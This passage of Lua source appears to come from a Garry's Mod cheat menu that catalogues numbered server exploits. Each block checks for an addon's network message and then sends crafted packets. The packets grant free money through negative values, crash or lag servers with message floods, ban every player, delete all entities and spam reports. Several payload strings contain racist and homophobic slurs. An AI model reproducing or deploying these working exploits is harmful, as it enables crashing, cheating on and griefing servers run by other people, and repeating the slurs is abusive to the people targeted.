3960 Torso = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10}
3961 Legs = {0, 1, 2, 3, 4, 5, 6}
3962 Hands = {0, 1, 2}
3963 Glasses = {0, 1}
3964 Skins = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10}
3965 PM = PM + 1
3966 TS = TS + 1
3967 LG = LG + 1
3968 HN = HN + 1
3969 GL = GL + 1
3970 SK = SK + 1
3971
3972 if (PM > #PlayerModels) then
3973 PM = 1
3974 end
3975
3976 if (SK > #Skins) then
3977 SK = 1
3978 end
3979
3980 if (HN > #Hands) then
3981 HN = 1
3982 end
3983
3984 if (TS > #Torso) then
3985 TS = 1
3986 end
3987
3988 if (GL > #Glasses) then
3989 GL = 1
3990 end
3991
3992 if (LG > #Legs) then
3993 LG = 1
3994 end
3995
3996 net.Start("bodyman_model_change")
3997 net.WriteInt(PlayerModels[PM], 10)
3998 net.SendToServer()
3999 net.Start("bodygroups_change")
4000 net.WriteTable({1, Torso[TS]})
4001 net.SendToServer()
4002 net.Start("bodygroups_change")
4003 net.WriteTable({2, Legs[LG]})
4004 net.SendToServer()
4005 net.Start("bodygroups_change")
4006 net.WriteTable({3, Hands[HN]})
4007 net.SendToServer()
4008 net.Start("bodygroups_change")
4009 net.WriteTable({4, Glasses[GL]})
4010 net.SendToServer()
4011 end)
4012 else
4013 timer.Remove("bodygroups")
4014 ECNotify("Stopping")
4015 end
4016 end)
4017 end
4018
4019 status = ValidNetString("SendMoney")
4020
4021 if (status) then
4022 ECPrint("Found Exploit: Free Money #16 [SendMoney]")
4023
4024 addExploit("136", "Free Money #16", "get money", function()
4025 surface.PlaySound("garrysmod/ui_click.wav")
4026 ECNotify("Starting")
4027 hook.Remove("HUDPaint", "skhdsakjl")
4028 net.Start("SendMoney")
4029 net.WriteEntity(LocalPlayer())
4030 net.WriteEntity(LocalPlayer())
4031 net.WriteEntity(LocalPlayer())
4032 net.WriteString("-99999999")
4033 net.SendToServer()
4034 end)
4035 end
4036
4037 status = ValidNetString("BailOut")
4038
4039 if (status) then
4040 ECPrint("Found Exploit: Free Money #17 [BailOut]")
4041
4042 addExploit("137", "Free Money #17", "", function()
4043 surface.PlaySound("garrysmod/ui_click.wav")
4044 ECNotify("Starting")
4045
4046 for k, v in pairs(player.GetAll()) do
4047 net.Start("BailOut")
4048 net.WriteEntity(LocalPlayer())
4049 net.WriteEntity(v)
4050 net.WriteFloat(-999999999)
4051 net.SendToServer()
4052 end
4053 end)
4054 end
4055
4056 status = ValidNetString("hitcomplete")
4057
4058 if (status) then
4059 ECPrint("Found Exploit: Free Money #18 [hitcomplete]")
4060
4061 addExploit("138", "Free Money #18", "get money", function()
4062 surface.PlaySound("garrysmod/ui_click.wav")
4063 ECNotify("Starting")
4064 net.Start("hitcomplete")
4065 net.WriteDouble(99999999)
4066 net.SendToServer()
4067 end)
4068 end
4069
4070 ----------------------------------------
4071 for k, v in pairs(player.GetAll()) do
4072 dahater = v
4073 end
4074
4075 ----------------------------------------
4076 status = ValidNetString("hhh_request")
4077
4078 if (status) then
4079 ECPrint("Found Exploit: Free Money #19 [hhh_request]")
4080
4081 addExploit("139", "Free Money #19", "get money", function()
4082 surface.PlaySound("garrysmod/ui_click.wav")
4083 ECNotify("Starting")
4084 local plyhhh = LocalPlayer()
4085
4086 if dahater ~= plyhhh then
4087 local hitRequest = {}
4088 hitRequest.hitman = plyhhh
4089 hitRequest.requester = plyhhh
4090 hitRequest.target = dahater
4091 hitRequest.reward = -9999999
4092 net.Start('hhh_request')
4093 net.WriteTable(hitRequest)
4094 net.SendToServer()
4095 else
4096 ECPrint("In this version of HHH, you can not use an exploit!")
4097 end
4098 end)
4099 end
4100
4101 status = ValidNetString("DaHit")
4102
4103 if (status) then
4104 ECPrint("Found Exploit: Free Money #20 [DaHit]")
4105
4106 addExploit("140", "Free Money #20", "get money", function()
4107 surface.PlaySound("garrysmod/ui_click.wav")
4108 ECNotify("Starting")
4109 hook.Remove("HUDPaint", "skhdsakjl")
4110 net.Start("DaHit")
4111 net.WriteFloat(-99999999)
4112 net.WriteEntity(LocalPlayer())
4113 net.WriteEntity(LocalPlayer())
4114 net.WriteEntity(LocalPlayer())
4115 net.SendToServer()
4116 end)
4117 end
4118
4119 status = ValidNetString("textstickers_entdata")
4120
4121 if (status) then
4122 ECPrint("Found Exploit: Crash #2 [textstickers_entdata]")
4123
4124 addExploit("141", "Crash #2", "1tap", function()
4125 surface.PlaySound("garrysmod/ui_click.wav")
4126 ECNotify("Starting")
4127 net.Start("textstickers_entdata")
4128 net.WriteUInt(0xFFFFFFF, 32)
4129 net.SendToServer()
4130 end)
4131 end
4132
4133 status = ValidNetString("gBan.BanBuffer")
4134
4135 if (status) then
4136 ECPrint("Found Exploit: gBan Everyone [gBan.BanBuffer]")
4137
4138 addExploit("142", "gBan Everyone", "exploit in the old version of gban", function()
4139 surface.PlaySound("garrysmod/ui_click.wav")
4140 ECNotify("Starting")
4141
4142 for k, v in pairs(player.GetAll()) do
4143 if v ~= LocalPlayer() then
4144 net.Start("gBan.BanBuffer")
4145 net.WriteBool(true)
4146 net.WriteInt(0, 32)
4147 net.WriteString("haha owned")
4148 net.WriteString(v:SteamID())
4149 net.SendToServer()
4150 end
4151 end
4152 end)
4153 end
4154
4155 status = ValidNetString("ARMORY_RetrieveWeapon")
4156
4157 if (status) then
4158 ECPrint("Found Exploit: Free Armory #1 [ARMORY_RetrieveWeapon]")
4159
4160 addExploit("143", "Free Armory #1", "get weapon #1", function()
4161 surface.PlaySound("garrysmod/ui_click.wav")
4162 ECNotify("Starting")
4163 net.Start("ARMORY_RetrieveWeapon")
4164 net.WriteString("weapon1")
4165 net.SendToServer()
4166 end)
4167 end
4168
4169 status = ValidNetString("ARMORY_RetrieveWeapon")
4170
4171 if (status) then
4172 ECPrint("Found Exploit: Free Armory #2 [ARMORY_RetrieveWeapon]")
4173
4174 addExploit("144", "Free Armory #2", "get weapon #2", function()
4175 surface.PlaySound("garrysmod/ui_click.wav")
4176 ECNotify("Starting")
4177 net.Start("ARMORY_RetrieveWeapon")
4178 net.WriteString("weapon2")
4179 net.SendToServer()
4180 end)
4181 end
4182
4183 status = ValidNetString("ARMORY_RetrieveWeapon")
4184
4185 if (status) then
4186 ECPrint("Found Exploit: Free Armory #3 [ARMORY_RetrieveWeapon]")
4187
4188 addExploit("145", "Free Armory #3", "get weapon #3", function()
4189 surface.PlaySound("garrysmod/ui_click.wav")
4190 ECNotify("Starting")
4191 net.Start("ARMORY_RetrieveWeapon")
4192 net.WriteString("weapon3")
4193 net.SendToServer()
4194 end)
4195 end
4196
4197 status = ValidNetString("TransferReport")
4198
4199 if (status) then
4200 ECPrint("Found Exploit: Report Spammer [TransferReport]")
4201
4202 addExploit("146", "Report Spammer", "report all players", function()
4203 surface.PlaySound("garrysmod/ui_click.wav")
4204 ECNotify("Starting")
4205 net.Start("TransferReport")
4206 net.WriteString(v:SteamID())
4207 net.WriteString("CHINKGANG FAGOTS")
4208 net.WriteString("DITCH THIS SHITTY SERVER AND BUY R8 TODAY")
4209 net.SendToServer()
4210 end)
4211 end
4212
4213 status = ValidNetString("FIRE_CreateFireTruck")
4214
4215 if (status) then
4216 ECPrint("Found Exploit: Create Fire Truck [FIRE_CreateFireTruck]")
4217
4218 addExploit("147", "Create Fire Truck", "", function()
4219 surface.PlaySound("garrysmod/ui_click.wav")
4220 ECNotify("Starting")
4221 net.Start("FIRE_CreateFireTruck")
4222 net.SendToServer()
4223 end)
4224 end
4225
4226 status = ValidNetString("TFA_Attachment_RequestAll")
4227
4228 if (status) then
4229 ECPrint("Found Exploit: Lagger #20 [TFA_Attachment_RequestAll]")
4230
4231 addExploit("148", "Lagger #20", "an exploit in 'TFA Weapon Pack', discovered by zerg314", function()
4232 surface.PlaySound("garrysmod/ui_click.wav")
4233
4234 if not timer.Exists("lagger20") then
4235 timer.Create("lagger20", 0, 0, function()
4236 for i = 1, 800 do
4237 net.Start("TFA_Attachment_RequestAll", true)
4238 net.SendToServer()
4239 end
4240 end)
4241
4242 ECNotify("Starting Lagger")
4243 else
4244 timer.Remove("lagger20")
4245 ECNotify("Stopping Lagger")
4246 end
4247 end)
4248 end
4249
4250 status = ValidNetString("FIRE_RemoveFireTruck")
4251
4252 if (status) then
4253 ECPrint("Found Exploit: Remove Fire Truck [FIRE_RemoveFireTruck]")
4254
4255 addExploit("149", "Remove Fire Truck", "", function()
4256 surface.PlaySound("garrysmod/ui_click.wav")
4257 ECNotify("Starting")
4258 net.Start("FIRE_RemoveFireTruck")
4259 net.SendToServer()
4260 end)
4261 end
4262
4263 status = ValidNetString("gPrinters.sendID")
4264
4265 if (status) then
4266 ECPrint("Found Exploit: Lagger #21 [gPrinters.sendID]")
4267
4268 addExploit("150", "Lagger #21", "B1G LAGZ, discovered by Leith", function()
4269 surface.PlaySound("garrysmod/ui_click.wav")
4270 ECNotify("Starting")
4271
4272 if not timer.Exists("lagger21") then
4273 timer.Create("lagger21", 0, 0, function()
4274 for i = 1, 1000 do
4275 net.Start("gPrinters.sendID", true)
4276 net.WriteEntity(LocalPlayer())
4277 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 8)
4278 net.SendToServer()
4279 end
4280 end)
4281 end
4282 end)
4283 end
4284
4285 status = ValidNetString("requestmoneyforvk") -- RusElite Server
4286
4287 if (status) then
4288 ECPrint("Found Exploit: Free 50k [requestmoneyforvk]")
4289
4290 addExploit("151", "Free 50k", "gives you 50k bypassing the validation check, discovered by Leith", function()
4291 surface.PlaySound("garrysmod/ui_click.wav")
4292 ECNotify("Starting")
4293 net.Start("requestmoneyforvk")
4294 net.WriteEntity(LocalPlayer())
4295 net.SendToServer()
4296 end)
4297 end
4298
4299 status = ValidNetString("vj_testentity_runtextsd")
4300
4301 if (status) then
4302 ECPrint("Found Exploit: VJSay [NEW] [vj_testentity_runtextsd]")
4303
4304 addExploit("152", "VJSay [NEW]", "'fix' of the old exploit", function()
4305 surface.PlaySound("garrysmod/ui_click.wav")
4306 ECNotify("Starting")
4307
4308 for k, v in pairs(player.GetAll()) do
4309 net.Start("vj_testentity_runtextsd")
4310 net.WriteEntity(v)
4311 net.WriteString("OWNED OWNED OWNED OWNED OWNED OWNED OWNED OWNED ")
4312 net.WriteString("vj_illuminati/Illuminati Confirmed.mp3")
4313 net.SendToServer()
4314 end
4315 end)
4316 end
4317
4318 status = ValidNetString("NET_BailPlayer") -- need to test
4319
4320 if (status) then
4321 ECPrint("Found Exploit: Players Spam [NET_BailPlayer]")
4322
4323 addExploit("153", "Players Spam", "", function()
4324 surface.PlaySound("garrysmod/ui_click.wav")
4325 ECNotify("Starting")
4326
4327 for k, v in pairs(player.GetAll()) do
4328 net.Start("NET_BailPlayer")
4329 net.WriteEntity(v)
4330 net.WriteEntity(v)
4331 net.SendToServer()
4332 end
4333 end)
4334 end
4335
4336 status = ValidNetString("Taxi_Add") -- need to test
4337
4338 if (status) then
4339 ECPrint("Found Exploit: Free Money #21 [Taxi_Add]")
4340
4341 addExploit("154", "Free Money #21", "maybe not work", function()
4342 surface.PlaySound("garrysmod/ui_click.wav")
4343 ECNotify("Starting")
4344 net.Start("Taxi_Add")
4345 net.WriteString("MLG")
4346 net.WriteTable({-1333.647461, -1473.931763, -139.968750})
4347 net.WriteFloat(-99999999)
4348 net.WriteString(Desc)
4349 net.SendToServer()
4350 end)
4351 end
4352
4353 status = ValidNetString("BuyCar")
4354
4355 if (status) then
4356 ECPrint("Found Exploit: Free Money #22 [BuyCar]")
4357
4358 addExploit("155", "Free Money #22", "get money", function()
4359 surface.PlaySound("garrysmod/ui_click.wav")
4360 ECNotify("Starting")
4361 net.Start('BuyCar')
4362 net.WriteFloat(-1000000)
4363 net.WriteEntity(LocalPlayer())
4364 net.WriteString("Gay")
4365 net.WriteString("Cock")
4366 net.WriteString("Twat")
4367 net.SendToServer()
4368 end)
4369 end
4370
4371 status = ValidNetString("rpi_trade_end")
4372
4373 if (status) then
4374 ECPrint("Found Exploit: Test Function [rpi_trade_end]")
4375
4376 addExploit("156", "Test Function", "just test", function()
4377 surface.PlaySound("garrysmod/ui_click.wav")
4378 ECNotify("Starting")
4379 local it = 0
4380
4381 timer.Create(util.CRC(tostring(CurTime())), 0.5, 0, function()
4382 if (it > #player.GetAll()) then
4383 it = 1
4384 else
4385 it = it + 1
4386 end
4387
4388 net.Start("rpi_trade_end")
4389 net.WriteUInt(it, 16)
4390 net.SendToServer()
4391 end)
4392 end)
4393 end
4394
4395 status = ValidNetString("ClickerForceSave")
4396
4397 if (status) then
4398 ECPrint("Found Exploit: Melon Crash [ClickerForceSave]")
4399
4400 addExploit("157", "Melon Crash", "", function()
4401 surface.PlaySound("garrysmod/ui_click.wav")
4402 ECNotify("Starting")
4403
4404 hook.Add("Think", "ps_spam", function()
4405 for k, v in pairs(player.GetAll()) do
4406 net.Start("ClickerForceSave")
4407 net.WriteEntity(ply)
4408 net.WriteInt(1, 1)
4409 net.SendToServer()
4410 end
4411 end)
4412 end)
4413 end
4414
4415 status = ValidNetString("SRequest")
4416
4417 if (status) then
4418 ECPrint("Found Exploit: Deagle Grab [SRequest]")
4419
4420 addExploit("158", "Deagle Grab", "", function()
4421 surface.PlaySound("garrysmod/ui_click.wav")
4422 ECNotify("Starting")
4423
4424 for k, v in pairs(player.GetAll()) do
4425 net.Start("SRequest")
4426 net.WriteEntity(v)
4427 net.SendToServer()
4428 end
4429 end)
4430 end
4431
4432 status = ValidNetString("HealButton")
4433
4434 if (status) then
4435 ECPrint("Found Exploit: Free HP [HealButton]")
4436
4437 addExploit("159", "Free HP", "free hp", function()
4438 surface.PlaySound("garrysmod/ui_click.wav")
4439 ECNotify("Starting")
4440 net.Start("HealButton")
4441 net.WriteEntity(LocalPlayer())
4442 net.WriteFloat(999999)
4443 net.SendToServer()
4444 end)
4445 end
4446
4447 status = ValidNetString("ArmorButton")
4448
4449 if (status) then
4450 ECPrint("Found Exploit: Free Armor [ArmorButton]")
4451
4452 addExploit("160", "Free Armor", "free armor", function()
4453 surface.PlaySound("garrysmod/ui_click.wav")
4454 ECNotify("Starting")
4455 net.Start("ArmorButton")
4456 net.WriteEntity(LocalPlayer())
4457 net.WriteFloat(999999)
4458 net.SendToServer()
4459 end)
4460 end
4461
4462 status = ValidNetString("SprintSpeedset")
4463
4464 if (status) then
4465 ECPrint("Found Exploit: TTT SpeedHack [SprintSpeedset]")
4466
4467 addExploit("161", "TTT SpeedHack", "changes your speed", function()
4468 surface.PlaySound("garrysmod/ui_click.wav")
4469 ECNotify("Starting")
4470 net.Start("SprintSpeedset")
4471 net.WriteFloat(math.min(math.max(2, 0.1), 2))
4472 net.SendToServer()
4473 end)
4474 end
4475
4476 status = ValidNetString("GiveArmor100")
4477
4478 if (status) then
4479 ECPrint("Found Exploit: Armor Exploit [GiveArmor100]")
4480
4481 addExploit("162", "Armor Exploit", "", function()
4482 surface.PlaySound("garrysmod/ui_click.wav")
4483 ECNotify("Starting")
4484 net.Start("GiveArmor100")
4485 net.SendToServer()
4486 end)
4487 end
4488
4489 status = ValidNetString("GiveSCP294Cup") -- NEED TO TEST !!
4490
4491 if (status) then
4492 ECPrint("Found Exploit: 294 JAM [NEED TO TEST] [GiveSCP294Cup]")
4493 SCPLAG = 0
4494
4495 addExploit("163", "SCP 249 JAM!", "", function()
4496 surface.PlaySound("garrysmod/ui_click.wav")
4497 ECNotify("Starting")
4498
4499 if (SCPLAG == 0) then
4500 SCPLAG = 1
4501
4502 timer.Create("LagThatShit", time, 0.05, function()
4503 for k, v in pairs(ents.GetAll()) do
4504 if v:GetClass() == "scp294" then
4505 net.Start("GiveSCP294Cup")
4506 net.WriteString("shit")
4507 net.WriteEntity(v)
4508 net.SendToServer()
4509 end
4510 end
4511 end)
4512 else
4513 SCPLAG = 0
4514 timer.Remove("LagThatShit")
4515 end
4516 end)
4517 end
4518
4519
4520 status = ValidNetString("Client_To_Server_OpenEditor")
4521
4522 if (status) then
4523 ECPrint("Found Exploit: SCP 249 Drink Menu Hack [Client_To_Server_OpenEditor]")
4524
4525 addExploit("164", "SCP 249 Drink Menu Hack", "", function()
4526 surface.PlaySound("garrysmod/ui_click.wav")
4527 ECNotify("Starting")
4528 net.Start("Client_To_Server_OpenEditor")
4529 net.SendToServer()
4530 end)
4531 end
4532
4533 status = ValidNetString("DuelMessageReturn")
4534
4535 if (status) then
4536 ECPrint("Found Exploit: Duel Crazy [DuelMessageReturn]")
4537
4538 addExploit("165", "Duel Crazy", "forces all players to fight with all players, discovered by Solly", function()
4539 surface.PlaySound("garrysmod/ui_click.wav")
4540 ECNotify("Starting")
4541
4542 timer.Create("crazyduel", 0.1, 0, function()
4543 s.duel[1] = table.Random(player.GetAll())
4544 s.duel[2] = table.Random(player.GetAll())
4545 net.Start("DuelMessageReturn")
4546 net.WriteFloat(1)
4547 net.WriteTable(s.duel)
4548 net.SendToServer()
4549 end)
4550 end)
4551 end
4552
4553 status = ValidNetString("userAcceptPrestige")
4554
4555 if (status) then
4556 ECPrint("Found Exploit: Free Prestige [userAcceptPrestige]")
4557
4558 addExploit("166", "Free Prestige", "exploit for free prestige", function()
4559 surface.PlaySound("garrysmod/ui_click.wav")
4560 ECNotify("Starting")
4561 net.Start("userAcceptPrestige")
4562 net.SendToServer()
4563 end)
4564 end
4565
4566 status = ValidNetString("wordenns")
4567
4568 if (status) then
4569 ECPrint("Found Exploit: Steal All Monies #11 [wordenns]")
4570
4571 addExploit("167", "Steal All Monies #11", "withdraw money from all printers", function()
4572 surface.PlaySound("garrysmod/ui_click.wav")
4573 ECNotify("Starting")
4574 ECPrint("printers:" .. tostring(#ents.FindByClass("derma_printer")))
4575
4576 for k, v in pairs(ents.FindByClass("derma_printer")) do
4577 net.Start("wordenns")
4578 net.WriteEntity(v)
4579 net.SendToServer()
4580 end
4581 end)
4582 end
4583
4584 status = ValidNetString("guncraft_removeWorkbench")
4585
4586 if (status) then
4587 ECPrint("Found Exploit: Remove all Entity [guncraft_removeWorkbench]")
4588
4589 addExploit("168", "Remove all Entity", "an exploit in addon 'GunCraft'", function()
4590 surface.PlaySound("garrysmod/ui_click.wav")
4591 ECNotify("Starting")
4592
4593 if not timer.Exists("removentity") then
4594 timer.Create("removentity", 3, 0, function()
4595 for k, v in pairs(ents.GetAll()) do
4596 net.Start("guncraft_removeWorkbench")
4597 net.WriteEntity(v)
4598 net.SendToServer()
4599 end
4600 end)
4601 end
4602 end)
4603 end
4604
4605 status = ValidNetString("BuyKey")
4606
4607 if (status) then
4608 ECPrint("Found Exploit: Blue Unbox Exploit [NEED TO TEST]")
4609
4610 addExploit("169", "Blue Unbox Exploit", "", function()
4611 surface.PlaySound("garrysmod/ui_click.wav")
4612 ECNotify("Starting")
4613 net.Start("BuyKey")
4614 net.SendToServer()
4615 net.Start("BuyCrate")
4616 net.SendToServer()
4617 end)
4618 end
4619
4620 status = ValidNetString("casinokit_chipexchange")
4621
4622 if (status) then
4623 ECPrint("Found Exploit: Free Money #23 [casinokit_chipexchange]")
4624
4625 addExploit("170", "Free Money #23", "only works if outdated", function()
4626 surface.PlaySound("garrysmod/ui_click.wav")
4627 ECNotify("Starting")
4628 local moneylog = LocalPlayer():getDarkRPVar("money")
4629 net.Start("casinokit_chipexchange")
4630 net.WriteEntity(self)
4631 net.WriteString("darkrp")
4632 net.WriteBool(true)
4633 net.WriteUInt(LocalPlayer():getDarkRPVar("money"), 32)
4634 net.SendToServer()
4635
4636 timer.Simple(3, function()
4637 for i = 1, 5000 do
4638 net.Start("casinokit_chipexchange")
4639 net.WriteEntity(self)
4640 net.WriteString("darkrp")
4641 net.WriteBool(false)
4642 net.WriteUInt(moneylog * 0.10, 32)
4643 net.SendToServer()
4644 end
4645 end)
4646 end)
4647 end
4648
4649 status = ValidNetString("PurchaseWeed")
4650
4651 if (status) then
4652 ECPrint("Found Exploit: Buy Weed [PurchaseWeed]")
4653
4654 addExploit("171", "Buy Weed", "", function()
4655 surface.PlaySound("garrysmod/ui_click.wav")
4656 ECNotify("Starting")
4657 net.Start("PurchaseWeed")
4658 net.WriteInt(tonumber(10000), 16)
4659 net.WriteInt(tonumber(1), 16)
4660 net.WriteBool(LocalPlayer().Buying)
4661 net.SendToServer()
4662 end)
4663 end
4664
4665 status = ValidNetString("PurchaseWeed")
4666
4667 if (status) then
4668 ECPrint("Found Exploit: Sell Weed [PurchaseWeed]")
4669
4670 addExploit("172", "Sell Weed", "", function()
4671 surface.PlaySound("garrysmod/ui_click.wav")
4672 ECNotify("Starting")
4673 net.Start("PurchaseWeed")
4674 net.WriteInt(tonumber(100), 16)
4675 net.WriteInt(tonumber(100), 16)
4676 net.WriteBool(LocalPlayer().Selling)
4677 net.SendToServer()
4678 end)
4679 end
4680
4681 status = ValidNetString("DoDealerDeliver")
4682
4683 if (status) then
4684 ECPrint("Found Exploit: Buy Tab [DoDealerDeliver]")
4685
4686 addExploit("173", "Buy Tab", "", function()
4687 surface.PlaySound("garrysmod/ui_click.wav")
4688 ECNotify("Starting")
4689
4690 if (LocalPlayer():getDarkRPVar("money") >= WEED_CONFIG.TabletPrice) then
4691 net.Start("DoDealerDeliver")
4692 net.WriteBool(false)
4693 net.SendToServer()
4694 end
4695 end)
4696 end
4697
4698 status = ValidNetString("DoDealerDeliver")
4699
4700 if (status) then
4701 ECPrint("Found Exploit: Buy Bong [DoDealerDeliver]")
4702
4703 addExploit("174", "Buy Bong", "", function()
4704 surface.PlaySound("garrysmod/ui_click.wav")
4705 ECNotify("Starting")
4706
4707 if (LocalPlayer():getDarkRPVar("money") >= WEED_ITEMS.Items["Tools"]["bong"].price) then
4708 net.Start("DoDealerDeliver")
4709 net.WriteBool(true)
4710 net.SendToServer()
4711 end
4712 end)
4713 end
4714
4715 status = ValidNetString("sendDuelInfo")
4716
4717 if (status) then
4718 ECPrint("Found Exploit: Duel NPC Exploit [sendDuelInfo]")
4719
4720 addExploit("175", "Duel NPC Exploit", "", function()
4721 surface.PlaySound("garrysmod/ui_click.wav")
4722 ECNotify("Starting")
4723 net.Start("sendDuelInfo")
4724 net.WriteString(table.Random(player.GetAll()):Nick())
4725 net.WriteString("xxdddd")
4726 net.WriteString("1e+100")
4727 net.WriteEntity(table.random(player.GetAll()):UserID())
4728 net.WriteInt(3, 3)
4729 net.SendToServer()
4730 end)
4731 end
4732
4733 status = ValidNetString("InviteMember")
4734
4735 if (status) then
4736 ECPrint("Found Exploit: Invite all players [InviteMember]")
4737
4738 addExploit("176", "Invite all players", "Invite all players to your org", function()
4739 surface.PlaySound("garrysmod/ui_click.wav")
4740 ECNotify("Starting")
4741
4742 for k, v in pairs(player.GetAll()) do
4743 net.Start("InviteMember")
4744 net.WriteEntity(v)
4745 net.WriteEntity(v)
4746 net.WriteString("lol what")
4747 net.SendToServer()
4748 end
4749 end)
4750 end
4751
4752 status = ValidNetString("newTerritory")
4753
4754 if (status) then
4755 ECPrint("Found Exploit: New Territory [newTerritory]")
4756
4757 addExploit("177", "New Territory", "", function()
4758 surface.PlaySound("garrysmod/ui_click.wav")
4759 ECNotify("Starting")
4760
4761 for k, v in pairs(player.GetAll()) do
4762 net.Start("newTerritory")
4763 net.WriteString("Hackers")
4764 net.WriteTable(t)
4765 net.SendToServer()
4766 end
4767 end)
4768 end
4769
4770 status = ValidNetString("CreateOrganization")
4771
4772 if (status) then
4773 ECPrint("Found Exploit: Org Exploit [CreateOrganization]")
4774
4775 addExploit("178", "Org Exploit", "", function()
4776 surface.PlaySound("garrysmod/ui_click.wav")
4777 ECNotify("Starting")
4778
4779 for k, v in pairs(player.GetAll()) do
4780 net.Start("CreateOrganization")
4781 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4782 net.WriteString("Join my gang or will rekt u")
4783 net.SendToServer()
4784 end
4785 end)
4786 end
4787
4788 status = ValidNetString("DisbandOrganization")
4789
4790 if (status) then
4791 ECPrint("Found Exploit: Org Disband [DisbandOrganization]")
4792
4793 addExploit("179", "Org Disband", "", function()
4794 surface.PlaySound("garrysmod/ui_click.wav")
4795 ECNotify("Starting")
4796 net.Start("DisbandOrganization")
4797 net.WriteEntity(LocalPlayer())
4798 net.SendToServer()
4799 end)
4800 end
4801
4802 status = ValidNetString("ChangeOrgName")
4803
4804 if (status) then
4805 ECPrint("Found Exploit: Org Change Name [ChangeOrgName]")
4806
4807 addExploit("180", "Org Change Name", "", function()
4808 surface.PlaySound("garrysmod/ui_click.wav")
4809 ECNotify("Starting")
4810 net.Start("ChangeOrgName")
4811 net.WriteString("I LOVE BANNAS WOOOOOOOOO I FUCKED GIANT BABIES WOOOOOO")
4812 net.WriteString("SHITTY CUNT ASS SERVER FUCK OFF. STOP WITH YOUR SHITTY COPY AND PASTE SHIT! YOU STOLE MY SHIT NIGGER!")
4813 net.WriteEntity(LocalPlayer())
4814 net.SendToServer()
4815 end)
4816 end
4817
4818 status = ValidNetString("IS_SubmitSID_C2S")
4819
4820 if (status) then
4821 ECPrint("Found Exploit: Free Reward [IS_SubmitSID_C2S | IS_GetReward_C2S]")
4822
4823 addExploit("181", "Free Reward", "", function()
4824 surface.PlaySound("garrysmod/ui_click.wav")
4825 ECNotify("Starting")
4826 net.Start("IS_SubmitSID_C2S")
4827 net.WriteString("Killa")
4828 net.SendToServer()
4829 net.Start("IS_GetReward_C2S")
4830 net.SendToServer()
4831 end)
4832 end
4833
4834 status = ValidNetString("AcceptBailOffer")
4835
4836 if (status) then
4837 ECPrint("Found Exploit: Bail Offer Exploit [AcceptBailOffer]")
4838
4839 addExploit("182", "Bail Offer Exploit", "", function()
4840 surface.PlaySound("garrysmod/ui_click.wav")
4841 ECNotify("Starting")
4842
4843 for k, v in pairs(player.GetAll()) do
4844 net.Start("AcceptBailOffer")
4845 net.WriteEntity(v)
4846 net.WriteUInt(-100000000000000000, 16)
4847 net.SendToServer()
4848 end
4849 end)
4850 end
4851
4852 status = ValidNetString("CP_Test_Results")
4853
4854 if (status) then
4855 ECPrint("Found Exploit: CP Bypass [CP_Test_Results]")
4856
4857 addExploit("183", "CP Bypass", "", function()
4858 surface.PlaySound("garrysmod/ui_click.wav")
4859 ECNotify("Starting")
4860 net.Start("CP_Test_Results")
4861 net.WriteInt(1, 8)
4862 net.SendToServer()
4863 end)
4864 end
4865
4866 status = ValidNetString("ReSpawn")
4867
4868 if (status) then
4869 ECPrint("Found Exploit: Respawn #4 [ReSpawn]")
4870
4871 addExploit("184", "Respawn #4", "just respawn", function()
4872 surface.PlaySound("garrysmod/ui_click.wav")
4873 ECNotify("Starting")
4874 net.Start("ReSpawn")
4875 net.SendToServer()
4876 end)
4877 end
4878
4879 status = ValidNetString("FIGHTCLUB_KickPlayer")
4880
4881 if (status) then
4882 ECPrint("Found Exploit: Fight Club Kick [FIGHTCLUB_KickPlayer]")
4883
4884 addExploit("185", "Fight Club Kick", "", function()
4885 surface.PlaySound("garrysmod/ui_click.wav")
4886 ECNotify("Starting")
4887
4888 for k, v in pairs(player.GetAll()) do
4889 net.Start("FIGHTCLUB_KickPlayer")
4890 net.WriteBit(v)
4891 net.WriteEntity(v)
4892 net.SendToServer()
4893 end
4894 end)
4895 end
4896
4897 status = ValidNetString("FIGHTCLUB_StartFight")
4898
4899 if (status) then
4900 ECPrint("Found Exploit: Fight Club Start Fight [FIGHTCLUB_StartFight]")
4901
4902 addExploit("186", "Fight Club Start Fight", "", function()
4903 surface.PlaySound("garrysmod/ui_click.wav")
4904 ECNotify("Starting")
4905
4906 for k, v in pairs(player.GetAll()) do
4907 net.Start("FIGHTCLUB_StartFight")
4908 net.WriteEntity(v)
4909 net.SendToServer()
4910 end
4911 end)
4912 end
4913
4914 status = ValidNetString("IveBeenRDMed")
4915
4916 if (status) then
4917 ECPrint("Found Exploit: Fake RDM [IveBeenRDMed]")
4918
4919 addExploit("187", "Fake RDM", "", function()
4920 surface.PlaySound("garrysmod/ui_click.wav")
4921 ECNotify("Starting")
4922
4923 for k, v in pairs(player.GetAll()) do
4924 net.Start("IveBeenRDMed")
4925 net.WriteEntity(v)
4926 net.SendToServer()
4927 end
4928 end)
4929 end
4930
4931 status = ValidNetString("nCTieUpStart")
4932
4933 if (status) then
4934 ECPrint("Found Exploit: Combine Control Exploit [nCTieUpStart]")
4935
4936 addExploit("188", "Combine Control Exploit", "", function()
4937 surface.PlaySound("garrysmod/ui_click.wav")
4938 ECNotify("Starting")
4939
4940 for k, v in pairs(ents.GetAll()) do
4941 net.Start("nCTieUpStart")
4942 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4943 net.SendToServer()
4944 end
4945 end)
4946 end
4947
4948 status = ValidNetString("DestroyTable")
4949
4950 if (status) then
4951 ECPrint("Found Exploit: Fuck All [DestroyTable]")
4952
4953 addExploit("189", "Fuck All", "discovered by Leith", function()
4954 surface.PlaySound("garrysmod/ui_click.wav")
4955 ECNotify("Starting")
4956
4957 for k, v in pairs(ents.GetAll()) do
4958 net.Start("DestroyTable")
4959 net.WriteEntity(v)
4960 net.SendToServer()
4961 end
4962 end)
4963 end
4964
4965 status = ValidNetString("start_wd_hack")
4966
4967 if (status) then
4968 ECPrint("Found Exploit: Hack Phone Exploit [start_wd_hack]")
4969
4970 addExploit("190", "Hack Phone Exploit", "", function()
4971 surface.PlaySound("garrysmod/ui_click.wav")
4972 ECNotify("Starting")
4973 net.Start("start_wd_hack")
4974 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4975 net.SendToServer()
4976 end)
4977 end
4978
4979 status = ValidNetString("bringNfreeze")
4980
4981 if (status) then
4982 ECPrint("Found Exploit: Ban Exploit [bringNfreeze]")
4983
4984 addExploit("191", "Ban Exploit", "", function()
